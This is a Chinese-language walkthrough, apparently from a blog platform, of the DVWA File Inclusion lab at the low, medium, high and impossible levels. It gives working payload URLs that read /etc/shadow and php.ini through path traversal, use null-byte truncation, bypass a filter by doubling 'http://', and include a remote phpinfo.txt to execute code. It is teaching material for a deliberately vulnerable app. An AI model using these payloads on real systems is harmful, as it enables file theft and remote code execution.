dvwa-File Inclusion

File Inclusion,即文件包含(漏洞),是指當(dāng)服務(wù)器開啟allow_url_include選項時,就可以通過php的某些特性函數(shù)(include(),require()和include_once(),require_once())利用url去動態(tài)包含文件,此時如果沒有對文件來源進(jìn)行嚴(yán)格審查,就會導(dǎo)致任意文件讀取或者任意命令執(zhí)行。

文件包含分類:

當(dāng)服務(wù)器開啟allow_url_include選項時,校驗檢查不全面會造成本地文件包含漏洞
同時開啟allow_url_include、allow_url_fopen選項時,可能會造成遠(yuǎn)程文件包含漏洞。

與文件包含有關(guān)的函數(shù):

include():只有代碼執(zhí)行到該函數(shù)時才會包含文件進(jìn)來,發(fā)生錯誤時只給出一個警告并繼續(xù)向下執(zhí)行。

include_once():和include()功能相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。

require():只要程序執(zhí)行就包含文件進(jìn)來,發(fā)生錯誤時會輸出錯誤結(jié)果并終止運(yùn)行。

require_once():和require()功能相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。

相關(guān)的php.ini配置參數(shù):

allow_url_fopen = On (默認(rèn)開啟)

allow_url_include = On (默認(rèn)關(guān)閉)
遠(yuǎn)程文件包含是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務(wù)器允許包含一個遠(yuǎn)程的文件)。

Low

image.png

服務(wù)器期望用戶的操作是點擊下面的三個鏈接,服務(wù)器會包含相應(yīng)的文件,并將結(jié)果返回。

需要特別說明的是,服務(wù)器包含文件時,不管文件后綴是否是php,都會嘗試當(dāng)做php文件執(zhí)行。

如果文件內(nèi)容確為php,則會正常執(zhí)行并返回結(jié)果,如果不是,則會原封不動地打印文件內(nèi)容,所以文件包含漏洞常常會導(dǎo)致任意文件讀取與任意命令執(zhí)行。

點擊file1.php,觀察到url為:

http://localhost/DVWA-master/vulnerabilities/fi/?page=file1.php

漏洞利用

1.本地文件包含

構(gòu)造url:

http://localhost/DVWA-master/vulnerabilities/fi/?page=/etc/shadow
image.png

出現(xiàn)報錯信息,顯示沒有這個文件,說明服務(wù)器系統(tǒng)不是Linux,但同時暴露了服務(wù)器文件的絕對路徑E:\phpstudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\index.php
構(gòu)造url(絕對路徑):

http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini
image.png

構(gòu)造url(相對路徑):

http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini
image.png

舉例:讀取phpstudy探針文件進(jìn)行信息搜集

http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/l.php
image.png

加../是為了保證到達(dá)服務(wù)器磁盤的根目錄。

同時在讀取上面的php.ini文件時,我們看到,配置文件中的magic_quote_gpc選項為off。

在php版本小于5.3.4的服務(wù)器中,當(dāng)magic_quote_gpc選項為off時,我們可以在文件名中使用%00進(jìn)行截斷,也就是說文件名中%00后的內(nèi)容不會被識別,即下面兩個url是完全等效的。

以下是phpstudy中php版本為5.2.17的測試結(jié)果:

http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini%00a.php

2.遠(yuǎn)程文件包含

當(dāng)服務(wù)器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀態(tài)時,服務(wù)器會允許包含遠(yuǎn)程服務(wù)器上的文件。如果對文件來源沒有檢查的話,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行。

通常php.ini的位置在:

復(fù)制代碼代碼如下:

/etc目錄下或/usr/local/lib目錄下。

如果你還是找不到php.ini或者找到了php.ini修改后不生效(其實是沒找對),請使用如下辦法:

1.在/var/www/html/目錄下新建php文件,寫入如下代碼

<?php
echo phpinfo();

然后在瀏覽器訪問該頁面,搜索php.ini,


image.png

修改配置文件

image.png

在遠(yuǎn)程服務(wù)器10.22.8.239上傳一個phpinfo.txt文件到/var/www/html/目錄,內(nèi)容如下:

<?php phpinfo();?>

構(gòu)造以下url,成功在服務(wù)器上執(zhí)行了phpinfo函數(shù)

http://localhost/DVWA-master/vulnerabilities/fi/?page=http://10.22.8.239/phpinfo.txt
image.png

Medium

image.png

明顯可以看到 過濾了

http:// ,   https://   ,    ../   ,   ..\

漏洞利用

使用str_replace函數(shù)是極不安全的,可以使用雙寫繞過替換規(guī)則。

例如page=htthttp://p://192.168.0.20/phpinfo.txt時,str_replace函數(shù)會將http://刪除,于是page=http://192.168.0.20/phpinfo.txt,成功執(zhí)行遠(yuǎn)程命令。

同時,因為替換的只是"../"、"..\",所以對采用絕對路徑的方式包含文件是不會受到任何限制的。

1.本地文件包含

絕對路徑不受任何影響,讀取配置文件成功

http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini
image.png

相對路徑的利用以下payload,讀取配置文件成功

http://localhost/DVWA-master/vulnerabilities/fi/?page=..././..././..././DVWA-master/php.ini

2.遠(yuǎn)程文件包含

構(gòu)造以下payload,遠(yuǎn)程執(zhí)行命令成功

http://localhost/DVWA-master/vulnerabilities/fi/?page=htthttp://p://10.22.8.239/phpinfo.txt
image.png

High

image.png

High級別的代碼規(guī)定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協(xié)議繞過防護(hù)策略。

Tips:因為fnmatch函數(shù)適用于PHP >= 4.3.0,因此php版本高于這個才能利用,否則會出現(xiàn)打不開high等級頁面。

構(gòu)造如下url,成功讀取了服務(wù)器的配置文件

http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini

(2)遠(yuǎn)程文件
Low和Medium等級的方法均失效,而file協(xié)議又只能打開本地文件。因此需要配合文件上傳漏洞來實現(xiàn)遠(yuǎn)程文件的執(zhí)行

Impossible

image.png

可以看到,Impossible級別的代碼使用了白名單機(jī)制進(jìn)行防護(hù),簡單粗暴,page參數(shù)必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。

參考

DVWA File Inclusion 通關(guān)教程
DVWA練習(xí)之File Inclusion

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容